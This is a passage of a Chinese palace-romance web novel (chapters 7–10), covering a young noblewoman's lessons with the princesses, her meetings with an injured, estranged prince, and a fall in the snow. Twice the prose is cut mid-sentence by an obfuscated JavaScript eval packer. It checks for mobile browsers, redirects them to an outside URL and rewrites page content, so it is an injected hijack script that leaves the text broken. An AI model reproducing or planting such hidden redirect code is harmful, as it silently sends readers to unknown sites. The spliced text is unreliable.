《君夺姝色(重生)》 7. 进学 谢瑶音一向信任这位皇兄,便没忍住将前因后果告诉了他。太子听罢,长长叹了一口气,耐心道:“阿瑶,我知道你一向重情重义。只是五弟的情形到底有些复杂,这其中千头万绪,你最好不要牵扯其中。” 姜清窈掀帘出来时,恰好听见他道:“你放心,我会设法在父皇面前进言,从而让五弟往后少受些磋磨。” 谢瑶音正要说什么,却见太子又压低了声音:“此事交由我来办,你就不必再多思了,免得父皇怪罪,好不好?” 他说话如此周全,谢瑶音自然没有不答应的,因而笑道:“我相信皇兄。” 姜清窈抬眼看过去,太子神色温和,俨然是一位极关心弟妹的好兄长。只是她心头隐约有些疑影,若太子真的有此心,又何必等到今日,等到谢瑶音开口。 她正思忖着,却见太子看了过来,眸光温和:“天寒地冻,阿瑶和表妹不必多礼,快些回去吧。” 姜清窈低头向他行了一礼,太子很快便转身离开,消失在茫茫夜色之中。 “窈窈,”谢瑶音牵着她的手,“方才我同皇兄说了,他答应会为五皇兄的事情想办法。” 谢瑶音显然对此深信不疑,神色也明朗了起来:“皇兄一向言出必行,有了他的话,我们可以放心了。” 姜清窈按捺住心底的波动,颔首道:“那就好。我们进去吧。” 两人进了殿内,又陪着皇后说了会话。待夜色酽浓,皇后方才道:“明日清晨你们还要去萤雪殿,今晚便尽早安寝吧。” “是。” 待枕月堂内的烛火尽数熄灭,侍女们各自退了出去,寝殿内只余下姜清窈与谢瑶音两人。 “窈窈,”谢瑶音翻了个身侧对着她,“明日起,咱俩就可以一起上学了。” “我素来不喜念书,但往后既然有你作伴,我便也不觉得无趣了。”谢瑶音的语气很是轻快。 姜清窈躺在床榻上,长发披散在身后,如一匹绸缎。她略歪了歪头,问道:“我许久不在宫中,也不知如今都有哪些课业?” 谢瑶音屈着手指数着:“除去诗书丹青和女红礼仪等寻常的课业,自去岁起又额外添了一门武学课。因那时,我和四妹五妹都为时气所感,常常染病,母后担忧之下,便决定不再让我们整日闷在房中念书,必得时时松松筋骨,因此和父皇决定添了几门功课。不过她俩一向喜静,满宫里可能只有我对此兴致勃勃吧。” “而皇兄他们身为男子,武学课是一直都有的。他们所学的内容可比我们丰富多了,有骑射、击鞠、剑术等等。有时我好奇心起,也会悄悄过去看。” 听她这么一说,姜清窈不觉多了几分兴趣。谢瑶音瞧见她的神色,先是一愣,随即笑了起来:“我果真糊涂了,竟忘了窈窈你出身将门,较之旁人自然对此等武学之事更有心得。” “舅父与表兄都是身手了得的将军,你自然也不会堕了他们的威风。”谢瑶音用玩笑的口吻说道。 姜清窈微赧。她虽有这样的家世,却没能像父兄一般身手了得,只不过为了免于生病,自小常常练些拳脚功夫,对一些招式颇为熟悉。 她不觉轻轻叹了口气:“我已许久未曾见到他们了。不知父亲和兄长何时能够回到京城。” “如今北匀还算安分,对我宣朝恭敬臣服,这都是舅父与表兄的功劳,”谢瑶音的语气里流露出敬佩,“再过些时日便是父皇的万寿,兴许那时会下旨召他们回京。” 宣朝版图辽阔,四面有国家虎视眈眈,北匀便是其中之一。早年,北匀与大宣曾发生过战争,后节节败退,被逼至如今的疆域,从此彻底偃旗息鼓。但如今的皇帝仍不放心,便命姜清窈的父兄常年驻守北地,以此震慑。 “但愿如此。”姜清窈沉默许久,轻声道。 两人又说了几句话,便各自安寝了。 一夜无梦。 第二日清晨,姜清窈被微云唤醒的时候尚有些茫然。她睁开眼,看着略显陌生的帐顶,片刻后才意识到自己此刻并不在家中。 她半撑起身子,问微云道:“什么时辰了?” “卯正时分了,皇后娘娘那边已预备着传早膳。”微云道。 姜清窈转头看去,谢瑶音正抱着被褥睡得正香。她推了推,唤道:“阿瑶,该起了。” 谢瑶音低低地应了一声,翻了个身又继续睡了过去,任凭怎么唤她都没有反应。姜清窈无奈,只能像小时候一样,伸手轻轻捏住她的鼻子,迫使她醒来。 “二公主,”语棠站在床榻边,“娘娘传话,说若是您再贪睡误了早课,便要加倍罚您抄书了。” 谢瑶音挣扎着睁开眼,含含糊糊道:“知道了。” 两人先后收拾停当,同皇后一道用了早膳,又听了她几句嘱托,这才带着一行宫人往萤雪殿去了。 姜清窈上一次来到这座宫殿已经是几年前了,她凝眸望着殿内陈设,只觉得既熟悉又陌生。 萤雪殿共有六间,如今适龄念书的皇子公主不多,因此启用的不过两大间。姜清窈举目望向殿内,试图从那暌违已久的房屋陈设之中找出童年时的记忆。 “窈窈,随我来。”谢瑶音牵着她沿着回廊一直往里走,最终踏进一间阔朗的屋子,上书“风荷堂”。 屋内焚着清雅宜人的香,靠墙立有书架,当中地上设有书案和坐褥,此刻还空无一人。谢瑶音颇有些得意道:“今日我们来得甚早。” 姜清窈环顾四周,微微讶异道:“这里似乎与小时候不大一样了。” 谢瑶音伸手轻轻捏了捏她的脸颊,笑道:“多年过去,咱们都长大了,一切自然都不同了。” 两人正打算在桌案后坐下,却有一人自外笑吟吟地走了进来,向着谢瑶音道:“见过二姐姐。” 姜清窈认出这是贵妃之女、三公主谢如婉,便起身要见礼,却被她一把挽住。 谢如婉柔柔一笑道:“姜姐姐,许久不曾见你了。”她亲热地靠过来,拉着姜清窈的手道:“昨日便听母后说,往后萤雪殿会多出一人与我们作伴,没想到便是你。久闻姜姐姐蕙质兰心,往后我还需向姐姐多多请教。” 姜清窈有些不太习惯她这般热情,稍稍顿了顿,才微微笑道:“三公主谬赞了。” 谢如婉笑意盈盈地松开了手,将身上玫瑰色的斗篷解开,递给一旁的宫女。她这样一番动作,便露出了身后另一个瘦削的人影。 对上谢瑶音的目光,那人轻声道:“见过二姐姐。” 她神情怯弱,说完话后便低下了头。姜清窈愣了愣,很快认出了这是谁,便依礼道:“见过四公主。” 四公主谢凝玉轻轻嗯了一声,再无别的话。谢如婉还想说些什么,谢瑶音已然哼了一声,把姜清窈往自己身畔扯了扯道:“三妹四妹既然来了,还不快落座。” 谢凝玉正要坐下,见谢如婉不曾动作,只好也站定,候在了一旁。 谢如婉上下打量着谢瑶音,抿嘴一笑道:“今日二姐姐来得如此早,倒是难得。我还以为——” “你以为什么?”谢瑶音一开口,语气便忍不住带了些强硬。谢如婉只笑了笑,却不说话,那神情显得意味深长。 姜清窈暗自无奈。这两人虽是姐妹,却性情不合,打小不对付。 谢瑶音身为皇后嫡女,又在太后身边长大,身份尊贵,只是于诗书学业上略居人后;谢如婉的母妃是宠冠后宫的贵妃,地位仅次于皇后,她本人又精通诗书,深得夫子赞许。彼时,大公主已经出嫁,四公主不声不响,宫中唯有这姐妹俩最为出众。因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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待一堂课终了,老夫子布置了今日的课业后便退出了内殿。宫女们送上茶水和点心,姜清窈便知是可以歇息的时候了。她刚端起茶盏,便见谢瑶音如释重负地站起身,向殿外走去,想是闷坏了。 谢如婉目送着谢瑶音的背影,唇角勾了勾,很快收回目光开始温书。一旁的谢宛意呆呆地似乎在出神,闻萱宜更是不曾抬头。姜清窈犹豫了片刻,很快起身跟了出去。 她走出大殿,四处扫视了一圈,见谢瑶音正站在阶下舒展身体,不觉抿嘴一笑:“阿瑶,怎么站在那里?” 谢瑶音回头看她,招手道:“窈窈过来,这会子雪已停了。” 两人并肩赏了会院子里的雪景,安静下来才听见不远处皇子们念书的殿内传来了琅琅书声。他们一堂课的时间更久,休息间隙也更短。谢瑶音侧耳听了会,说道:“难怪母后说宫中人少寂寥,你听这读书声便可知。” 姜清窈问道:“除了太子殿下,也就只有另外三位殿下了吧?” 谢瑶音道:“三皇兄、五皇兄和六弟,还有他们各自的伴读以及几位旁支兄弟,算起来也不过七八人。” 提起那个人,姜清窈又想起他那日离去时的模样。想来以他的伤势,今日定是无法来上学了。 这念头刚在心头转过,她便见一个深灰色的身影出现在殿门外。 冷风拂动树梢枝头,他苍白冰冷的面孔掩在簌簌落下的残雪之后,显得愈发灰暗。 姜清窈的目光缓缓下移,看向他缠着纱布的手臂和膝盖,以及那走动时一瘸一拐的腿脚。 想起那日六皇子对他毫不留情的动作,她眉头轻轻一蹙,面上便忍不住显出了些伤怀之色。 昔年之事,桩桩件件皆在脑海中翻涌而过。姜清窈以为曾淡忘的那些往事,在这须臾之间显现在眼前。 她暗自发怔了一会,忽然感到有灼灼目光落在自己身上,带着不容忽视的迫人热度。 抬眼看去,谢怀琤那双墨色的眸子掺着瑟瑟寒气,毫无温度地望向她。 方才的热度,似乎只是错觉。 8. 心跳 “五皇兄?”谢瑶音讶异不已,“你不是......病了吗?”她上下打量着谢怀琤,看见他显而易见未痊愈的伤势,愈发惊愕:“你伤势未愈,为何这般急着出门?” 谢怀琤面无表情,对她关怀的字句没有任何反应。 一旁搀扶着他的福满见状,忙开口解释道:“二公主,殿下他这几日感了风寒,诱发了咳疾,没法开口说话。但请二公主放心,殿下已经好多了。” 谢瑶音本想多说几句,然而想起皇后的嘱咐,还是默默止住了话头。 谢怀琤站在原地,目光与姜清窈轻轻一触,很快移开。擦肩而过的一瞬,姜清窈微微仰头,看着他紧绷的下颌和漠然的侧脸。 一句“五殿下安”尚未说出口,他便已经走远,向内殿行去。那背影虽有些跌跌撞撞,但他的脊背自始至终都挺得笔直。 “好了,窈窈,我们也该回去了。”谢瑶音扯了扯她的衣袖,道。 姜清窈点点头,随她回到了殿内。 结束了方才的史论课,接下来是书法。负责教授书法的也是翰林院的学士,姓葛。与教授史书的夫子不同,他授课时十分严肃,对课业的要求也很高。 葛夫子德高望重,性情直率,不畏权贵,并不因公主的身份就假以辞色。他对几人的书法点评毫不婉转,往往直言不足。 而谢瑶音最怕的便是书法课。她自小便勤学苦练,然而这字却一直不尽如人意,更是屡屡逊色于谢如婉。葛夫子常说她心浮气躁,才会流露在笔下。因此,每日的书法课成了她的心病。 姜清窈按照葛夫子的要求写好几个字,一抬眸却见谢瑶音满脸沮丧,丝毫不见上堂课的神采奕奕。她见葛夫子正在为闻萱宜讲解,便稍稍探身过去,低声问道:“阿瑶,怎么了?” 谢瑶音闷闷不乐道:“我唯独在此事上缺了些天分,任凭如何苦练也不见成效。与其如此,还不如就此舍弃,随它去罢了。” 姜清窈知道她一向顺风顺水,却唯独在此事上屡屡受挫,心中自然郁闷,便宽慰道:“阿瑶,不必担心,书法不是一朝一夕能有所成的,只要你按照夫子的话好好练,日久天长,总会有成果的。” 待葛夫子走到谢瑶音身畔时,又是一如既往批评了她的字。谢瑶音顿时泄了气,待课一结束,便趴在了书案上哀叹起来。 姜清窈见她神色恹恹,便柔声安慰道:“阿瑶,待晚间我们再多练一练。” 谢瑶音本想摇头,然而侧眸见谢如婉面带笑意经过,那目光意味不明,又想起方才夫子对她的赞许,顿时升起一股气,毫不迟疑地点头道:“好。” 此话一出口,她如释重负,好似放下了一桩心事,起身道:“窈窈,散学的时辰到了。我们该回宫用午膳了。” 姜清窈见她面色又恢复了来时的明朗,这才放下心来,点头道:“好。” 谢瑶音最大的优点便是心胸阔朗,从不会为一件事而烦恼愁苦太久。如此这般,才能活得舒心。 两人走出萤雪殿,在廊上驻足片刻。细碎的雪飘落,落满两人肩头。语棠和微云连忙跟过来撑起伞,道:“快些回宫吧。” 正欲举步,却见回廊那头的殿门霍然洞开,几位皇子一前一后走了出来。姜清窈情知避不过,便微垂了头,略略退后了一步。 谢瑶音则抬头迎上众人的目光,招呼道:“三皇兄。” 如今天子膝下共有四位皇子,除太子之外,这位三皇子谢怀壑便是最年长的。他生性温和,但与太子的待人接物截然不同,更多了几分潇洒意气和不拘小节。姜清窈记得从前听人说过,三皇子醉心诗书,常常酒后纵情吟咏,挥洒笔墨,完全没有皇室子弟的循规蹈矩。 三皇子微微一笑:“二妹妹。”他看向姜清窈,稍稍愣了愣,很快认了出来:“这位便是姜姑娘吧?” 姜清窈从前在宫中长住时,与诸位皇子均有所接触,原也不算是陌生,只是毕竟时隔几年,身形容貌都有些微变化,没想到三皇子还是一眼认出了她。 她笑了笑,屈膝道:“臣女见过三殿下。” 几人互相见了礼,索性站在原地闲话了几句。三皇子身后是几个长身玉立的少年郎,想来都是各位伴读和宗室子弟。众人都是日日见惯的,不想今日萤雪殿却多了一个面孔,便不由自主将目光都落向了姜清窈。 其时她立在廊下,身披斗篷,乌发如云,肤色如玉,红唇轻抿,顾盼之间眼波流转,笑语嫣然。 二公主亦姿容不俗,只是毕竟身份极为高贵,性子里又带了几分贵气天成和骄矜,几个世家子弟与她素日交情不深,自然不敢随意直视和交谈。而面对姜清窈,少年郎们便放松了一些,或悄悄看她,胆大的则直接上前寒暄。姜清窈始终眉眼含笑,嗓音柔婉,令人在寒冬也如沐春风。 只是骤然与这么多人交谈,实在乏累。姜清窈眉头轻微一蹙,很快舒展开,三皇子察言观色,出声道:“好了,莫要耽搁了午膳的时辰,就各自散去吧。” 待众人离开,姜清窈抿了抿唇,说道:“阿瑶,方才我们似乎没见到五殿下。” “或许五皇兄身子不适,已经先行走了吧。”谢瑶音道。 姜清窈缓缓摇头:“他伤势未愈,却会冒着风雪一路艰难来到萤雪殿,必然不会早早离开。” “我想起来了,从前五皇兄便常常在散学后留下温书,想来今日也是。”谢瑶音忆起往事,开口道。 “窈窈,你还是想去看望他,是吗?”她看着姜清窈的神色,问道。 姜清窈沉默片刻,点了点头。 “左右这会子无人,我们去看一眼也无妨。”谢瑶音道。 两人往皇子读书的翠微堂走去,直到走到屋外,依然没有听见里间有任何动静。谢瑶音好奇心起,便加快了步伐,掀开门前的锦帘迈步进去。 姜清窈落后几步,却见内殿的支摘窗正开着,一个少年正埋首书案,执笔专心地写着什么。 她步伐一顿,情不自禁停了下来。 谢怀琤眼睫低垂,浓黑的眉微拧,唇角抿成一条线。他大约是心无旁骛,因此对姜清窈的到来毫无察觉。 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曾几何时,这代表着皇帝对五皇子的格外偏爱。然而如今,这已成了不值一提的往事。唯一值得庆幸的是,严彻与谢怀琤始终情同手足,不曾因彼此的身份地位变故而分道扬镳。 故人相逢,却一时无言。 话语到了舌尖,却滞涩得说不出口。光阴流转,她已不知该如何对他们说话了。 “五皇兄为何散学了还留在这里?”谢瑶音的声音打破了满室的寂静。 严彻道:“二公主,殿下他今日因身子不适而来迟了些时候,错过了夫子的一些讲学内容,便只能在此时加以弥补。” 谢瑶音默然良久,试探着开口道:“五皇兄,窈窈......与我今日是想探望你一番。”她见谢怀琤面沉如水,不觉轻叹一声道:“不打扰五皇兄了,我们告辞了。” 姜清窈站在原地,直到被谢瑶音扯了扯袖子,才涩然开口道:“五殿下,你......多保重。” 谢怀琤垂首不语,连一丝一毫的反应都没有。 直到那两个身影消失在回廊尽头,他才慢慢抬起头,眼瞳深处一片寂然。那支被紧紧握住以至于有些发烫的狼毫笔随着他霍然松开的手指而跌落宣纸上,发出轻微的响声。好在笔尖上残留的墨汁没有污了原本的字迹。 严彻以为他是累了,并未多想,劝道:“怀琤,回去用膳吧。”他说着,便动手替谢怀琤收拾起了纸笔,不过随意一瞥,便看清了那纸上写着的内容。 他微觉疑惑,指着最末一句话道:“这个‘东’字,是不是多了一笔?” 那句话是谢怀琤援引今日课上夫子讲解的一篇文章中的一句,用以完成这篇政论课业。只是他似乎在写到末尾时分了神,以至于“东”字多了一横。 谢怀琤面色不变,很快伸手将最后一张纸抽出揉成了团,悄无声息藏进了袖中。 他转头望向窗外,雪已经停了。没有了风雪翩飞的簌簌声,他愈发清晰地听见了自己的心跳。 一声声,如擂鼓。 9. 狸奴 几日过去,皇后的身子渐渐好转,气色也较从前更佳,面上多了几分红润。 这日晚膳后,按照规矩,谢瑶音该回自己的寝殿去。然而她却迟迟未动,而是伸手揉着裙上的丝绦,笑眯眯地挨到了皇后身畔,讨好道:“母后,我有个不情之请。” 皇后睨她一眼,似笑非笑:“何事?” “这些日子我能不能同窈窈住在一处?”谢瑶音见母后眉头微蹙,似不同意,忙补充道:“我想同窈窈一道练字,免得总被书法课的夫子指出诸多问题。” 皇后诧异道:“你不是一向不喜这些课业的吗?今日怎么忽然转了性,真是难得。” 谢瑶音一本正经道:“母后常说窈窈的字最是隽秀清逸,而我恰好不善此道,自然该好好向她请教。” 皇后看了看姜清窈,浅笑道:“窈窈师从你舅母,自然于书法之道上格外精通。” 谢瑶音连连点头:“毕竟舅母是时老前辈的关门弟子,得了老前辈的真传后,又尽数传给了窈窈。” 一旁的姜清窈闻言无奈一笑:“姑母和阿瑶未免太抬举我了。我哪里能比得上母亲?” 话至此,她颇有些思念母亲。 姜夫人闺名唤作秦瑜容,出身书香世家秦氏一族。秦家历代都是读书人,既纵横官场,又不失书生意气。 皇后想起了一些久远的往事,含笑道:“时遐老先生是昔年的状元,名满京都,满腹经纶,致仕后依然壮志未减,在民间四处讲学。当年瑜容的父亲见她极爱书法,便带她拜到了时老先生门下。瑜容不负所望,顺利通过了考核,成了他门下弟子。” “瑜容性子沉静,即便枯坐一整日也不会有丝毫烦闷。时老先生最是欣赏她这般性子,她也没有辜负老先生的期望,一手好字闻名京城。” 皇后话锋一转,笑道:“与之相反的是兄长,他自小便是个跳脱的性子,张扬恣意,虽也拜了时老先生为师,却屡屡令老先生头痛。” 谢瑶音噗嗤一笑:“母后,原来舅父幼时竟是这般?” 姜清窈想起母亲素日的玩笑话,不觉一笑。谢瑶音看见她的神情,这才忆起正事,忙道:“母后,此事您准允吗?” 皇后端起茶盏抿了一口,语气透着慈爱:“难得你这般勤奋好学,我哪里会不答应?只是你既然下了决心,就不可半途而废,要好好向窈窈讨教。” 谢瑶音喜不自胜:“母后放心。” 姜清窈思忖着开口道:“姑母,我于书法之道还有许多不足,只怕会误了阿瑶的课业。” 皇后宽慰道:“窈窈安心,你只当是与阿瑶互相切磋,不必太过担忧。若是有什么拿不定的,在课上向夫子请教便是。” “窈窈莫要谦虚,你自小便于此极有天赋,母后也多次夸奖你。往后你便略指点我一二吧。”谢瑶音双手合十,扮了个哭脸。 姜清窈没法拒绝她这副模样,便点头道:“我才疏学浅,所说之话不可尽信。” “我明白。”谢瑶音忙点头。 此事一定,两人便向皇后告退,去了偏殿开始着手练习。 姜清窈拿过谢瑶音的字仔细端详了片刻,轻声说了几句。谢瑶音皱眉思索着,时不时又低声提出几个疑问,复又重新落笔,于笔划和力度上有所改变。 灯火摇曳,两人并肩坐在一处的身影投在墙壁之上,一直到深夜才暗去。 * 这场冬雪连绵不绝,断断续续下了五六日。虽然停了,但皇宫内苑各处都被厚厚的积雪覆盖,以至于宫人内侍日日都在一刻不停地清扫着。 姜清窈走出永安宫,怀中抱着个手炉。一旁的微云道:“雪后难行,姑娘当心脚下。” 今日是课假,谢瑶音昨夜几近丑时才搁下笔,沾枕即睡,如今还未醒转。皇后畏寒,亦尚未起身。姜清窈晨起后,发觉上回折的梅花有些萎蔫,便打算再去一趟韶园,挑一些新开放的花枝换下。 她今日穿了身蜜合色长裙,外披斗篷,头戴风帽,裙身和斗篷上都绣着梅花纹,颇为应景。 清晨的韶园寂静无人,只有残雪从枝头树梢偶尔落下的声音。姜清窈折下了几枝满意的梅花,心中正欢喜时,脚下难免没留神,踩入了树下一旁厚厚的雪堆之中,只觉得脚上所穿靴子立时便被冰冷的雪水浸透了。 微云忙蹲身下去,惊道:“姑娘的裙角和鞋袜都湿了,这样走回去只怕会着凉。” 姜清窈试着走了一步,感觉到那彻骨的寒意,不觉蹙眉:“只怪我自己不当心,但如今也无法,待回宫后再说吧。” 微云虽担忧,却也知道此时并无其他法子,只能小心地扶着姜清窈避开余下的雪堆,慢慢走着。 姜清窈怀抱着几簇梅花,尽量忽视足底的冰凉。快要走出韶园时,她略松了口气,目光不自觉向四周看了过去。再一低头时,她却看见眼前卧着一小团灰色的影子,而自己眼看着便要踩上去。 忽然,那团影子动了动,发出微弱的叫声。姜清窈一惊,硬生生错开了步伐。 偏生这个时候,有一块不知从何处被掷来的石头恰好落在了她脚下。姜清窈踩上了那块石头,脚底一滑,整个人登时委顿在地,那些刚摘的梅花随之散落一地。 “姑娘!”微云大惊失色,连忙去扶她。 姜清窈只觉得脚踝处一阵疼痛,似乎是扭到了。她轻嘶了一声,低头一看,是一块石头绊倒了自己。 “微云,你看那是什么?”顾不上去细究石头的来历,姜清窈指向把灰色的影子。 微云俯身,将那团毛茸茸的东西捞了起来,讶异道:“姑娘,是一只猫儿。” 姜清窈接过猫儿,拂去它毛发上沾着的雪,发觉这是一只灰色的猫,很是瘦弱,但看起来精神尚可,一双乌溜溜的眼睛盯着她。 本以为它身上落了这么多雪,想来不知在雪地里冻了多久,但看起来猫儿身体温热,也并没有任何异样,在她怀里静了片刻便开始不安分地动了起来,那小小的一团带着温度,姜清窈心尖柔软一片,情不自禁抚了抚它的头。 “韶园里怎会有猫?”微云有些诧异,“莫不是豢养猫狗的宫人没留神,让它跑了出来?” 时下不少贵族中人喜好养猫或是狗,皇宫中自然有专门饲养猫狗之处。只是如今宫中,从皇帝到后宫,姜清窈从未听说过谁养了猫狗。 她摇了摇头,又瞥见一旁的石头,皱眉道:“微云,方才你有没有听见极细微的破空之声,像是谁掷了块石头过来。” 微云面色变得恼怒:“听见了,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13459523|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁这么大胆,竟敢在皇宫之中肆意投掷石子。”她满脸后怕:“若是那石子再偏寸许,只怕就会砸中姑娘!” 姜清窈环顾四周,道:“这个时辰,何人会流连此处?” 话音刚落,两人同时听见韶园外传来一阵忙乱的脚步声,似乎有人察觉到什么,迅速逃跑了。微云睁大眼睛,高声道:“什么人?站住!”然而韶园遍植树木,覆满白雪的松柏将视线完全遮蔽,她们没能看清那人的形貌,便是即刻追出去也是赶不上的。 “罢了微云,”姜清窈摇头道,“不必追了。”她一手抱着猫儿,一手撑着地想要站起来,却半晌没能支起身子。微云忙用力搀扶,才让她顺利站稳,但那只扭伤的脚却没法行走。 “姑娘受伤了?”微云伸手落向她脚踝处,隔着鞋袜隐约摸出似乎有些肿胀,不觉变色:“定是方才被那飞石惊了才会摔倒!” 她有些无措:“当务之急,该是回宫去请太医为姑娘看诊。只是姑娘这般,如何还走得动路?可若是奴婢回宫去传步辇,姑娘独自一人待在这里,让奴婢怎么放心得下?” 姜清窈道:“这里距离永安宫不算太远,若你脚程快些,很快便能够回来,我便在这里等你也无妨。左右是在宫中,又不会有什么危险。” “可是......”微云咬唇,迟疑不决。 姜清窈正欲宽慰她,不防怀中的猫儿忽然躁动起来,拼命想要挣脱她的束缚。她原本就抱着几簇梅花,一时间竟制不住它,只能任它跳了下去,在雪地上也留下一串小梅花,很快便消失得无影无踪。 两人不禁笑了笑。微云道:“这猫儿看起来活蹦乱跳的,想来并无大碍,姑娘不必担心。”她环顾四周,发愁道:“奴婢在想这韶园附近有没有哪处能避避风雪,让姑娘暂待一会。” 姜清窈想了想道:“我记得韶园外有一处亭子,离此处不远。” 微云应声,扶住她的手臂,搀着她一步步艰难地往园子外走去。 起初姜清窈还可以稍稍让行走的力道落在受伤的右脚上,勉力稳住身形。然而再走数步后,她只觉得脚踝处愈发疼痛,便咬住唇瓣,尽力保持面色如常,不愿让微云担心。 走出韶园后,果然看见了掩映在丛丛树木后的那座亭子。微云松了口气,却忽然感到身畔姑娘的呼吸声愈发急促,似乎在极力忍耐着什么。她一侧头,却见姜清窈的唇瓣已被咬得发白,还显出一道深深的齿痕。 “姑娘,还好吗?”微云担忧不已。 姜清窈深深吐息,摇头道:“无事。” 眼看着亭子已在眼前,微云不敢耽误,只盼着快些安顿好姑娘,自己好回宫去找太医。 亭子地势略高,需攀上一节台阶。姜清窈站定略缓了缓,打算迈步上去,不防右脚一阵痛楚,整个身子霎时间失去了着力点,微云势单力薄没能扶住,主仆两人同时跌倒在地。 “姑娘!”微云慌忙起身去扶她,然而姜清窈以手撑地,半晌都没能站起身。 她白皙的手按在雪地里,硌在了亭前的石子路上,很快便烙上了一道道红印。微云正在拼尽全力想要搀扶起姜清窈时,忽然听见身后传来一个声音:“......姜姑娘?” 姜清窈偏头,看见了一个意想不到的人。 10. 疏离 “福满?”她唤出了来人的名字。 那日长信宫外,姜清窈知道福满认出了自己,她自然也不会忘记这个自小便跟在谢怀琤身边的内侍。 从前的福满是个机灵人,在她与谢怀琤在萤雪殿同窗共读时,不论是插科打诨还是侍奉茶水都做得极妥帖,对她如同对待自家主子一样尽心尽力。而如今的他,神色灰败,举止怯弱,一举一动都谨小慎微。 姜清窈想,世事果真变幻莫测。 福满见她委顿在雪地里,惊讶不已,却也不曾多问什么,很快上前和微云合力将姜清窈扶进了亭中坐下。 “姑娘略坐一坐,奴婢这就回宫去传步辇。”微云叮嘱了几句,便立刻往永安宫赶去。福满察言观色,轻声问道:“姜姑娘,您还好吗?” 姜清窈笑了笑:“无妨,不过是方才在韶园里没站稳,不小心扭伤了脚,想来并无大碍。”她见福满有些气促,问道:“你贴身服侍五殿下,怎么得空来这里?” 福满低头道:“有桩要紧的事,殿下嘱咐奴婢外出办好。” 姜清窈见他不欲多说,便没再追问,道:“五殿下他的伤可曾好些了?” “多谢姑娘关怀,”福满的神色略微明朗了一些,“殿下养了这些时日,伤口都已痊愈,行走无碍。” “那便好。”姜清窈努力忽视脚腕的疼痛,微微蹙了蹙眉,很快舒展开。她沉默许久,才低声道:“那日长信宫外匆匆一见,我没能亲自探望五殿下。殿下如今的处境......似乎不大好,这些年你们定是受了很多委屈。” 她语气温柔,福满却情不自禁眼眶一红,慌忙垂下头去掩饰。姜清窈轻叹一声,道:“我虽不知究竟发生了何事,但也想请你转告殿下,无论如何,他都要好好活着。” 她依然记得,那日谢怀琤被六皇子下令殴打时,那双眼睛透出的除了不肯低头的倔强,还有听天由命的苍凉。面对弟弟的肆意欺侮,他没有一丝一毫想要反抗的念头,似乎对自己的生死毫不在意。 福满的声音有些沙哑:“请姑娘安心,奴婢只要活着,就一定会时刻劝着殿下的。只是殿下经历了那些事情,心早已灰了,如今不过是拼着一口气罢了。” 他语焉不详,愈发让姜清窈心头疑窦丛生。但她也知道此事涉及皇家私隐,自然无法在大庭广众之下谈论,便道:“人活着不过是一口气、一条命,可我知道,五殿下不是轻易服输的人。从前我们一道上学时,他但凡功课有所缺漏,定要拼尽全力弥补,不愿落于人后。如今时过境迁,殿下眼下的日子是很苦,可若不好好活下去,又焉知不会迎来转机呢?总归......” 她顿了顿,低声道:“总归是有人关心着他,念着他平安的。” 福满霍然抬头,嘴唇颤抖着似乎想说什么。然而他的目光很快定格在了亭子外侧,姜清窈听见有靴底掠过雪地发出的轻微踩踏声,夹杂着袍袖拂动的簌簌声,她见福满很快躬身下去,口中道:“殿下。” 她一怔,下意识转头看了过去。 在萤雪殿上学时,由于翠微堂和风荷堂在一条回廊的两端,隔着一定的距离,因此算起来,她也有多日不曾见到谢怀琤了。 此刻,他身披一袭深灰色的衣袍,面色沉沉,缓步向亭子走来,走动时步伐稳当,想来腿脚处的伤已经大好了,只是这衣裳的颜色衬得他格外苍白瘦弱。 看他走过来的样子,不知方才那些话被听去了多少。姜清窈心中蓦地生出些近乡情怯之感,一时间有些无措。她双手在膝头交握,轻轻摩挲着衣裳表面,余光看着他一步步走近,最终站在了自己面前。 姜清窈起身,却一时间忘了自己受伤的右足,顿时觉得脚底一个踉跄,慌忙去扶一旁的亭柱。 预想中手心将要触到的冰凉并未到来,姜清窈只觉得顷刻间已被人牢牢扶住。那人的手握住了自己的手臂,虽隔着厚厚的衣衫布料,却依然能感受到他的温度。 奇怪,他身上分明挟带着风雪的森森凉意,他这个人看起来也透着周身的冷意,可掌心却这样热。 她抬头,那双幽深的眼睛亦垂着眼睫望着她,一如既往无什么情绪,也没有丝毫故人相见的波动。 此刻两人距离极近,姜清窈定定瞧着那张清癯的面孔,眉眼的轮廓都似曾相识,可他整个人却透着冷峭生硬的距离感,让她再无法像小时候那般熟稔地对他说话。 两人分明是紧挨着的,却好似隔着万水千山。这年冬日的风雪化作了一堵铜墙铁壁,将昔日的情分断绝开来。 姜清窈垂头,目光悄然收拢,自然没留神那人一直盯着自己,眼神没有片刻离开。她瞥见他另一边衣袖的袖口似乎沾了团毛絮,愣了愣,随即下意识抬手想要拂去。 福满眼尖,瞧见亭外有三两人抬着步辇走过来,便开口道:“姜姑娘,那是永安宫的人吧?” 与此同时,谢怀琤袍袖垂下,不动声色地错开了她的动作,姜清窈的指尖与他的衣裳一触即离。他随即松开了一直扶着她的手,默默退开了几步。 “姑娘,您还好吧?”微云气喘吁吁地跑进了亭子,“步辇——” 她没想到亭子里多了旁人,一时间刹住了话头,呆呆地瞧了谢怀琤一眼,片刻后才反应过来,忙道:“奴婢见过五殿下。” 说罢,微云扶着姜清窈,道:“姑娘久等了,快些坐步辇回宫吧,娘娘听说后已经命人传了太医候着。” 谢怀琤眼神一凝,目光缓缓下移,眉心渐渐蹙起。 姜清窈点头,由着微云搀扶着走了几步,又忍不住回头看向谢怀琤,轻声道:“请殿下善自珍重。” 少女盈盈立在雪中,几缕碎发被风拂乱,翩跹半晌,又柔软地抚过面颊。她眼波微漾,声线带着暖意,仿佛能让这满地的冰雪就此消融。 谢怀琤望着她,抿了抿唇没作声。 姜清窈也不介意,冲他笑了笑,便欲离开。 